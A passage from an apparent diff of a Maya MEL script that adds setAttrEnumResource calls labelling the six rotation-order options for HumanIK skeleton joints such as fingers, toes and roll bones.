"RightInHandMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftForeArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightForeArmRoll4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightUpLegRoll5ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafRightLegRoll5ROrder", 4, 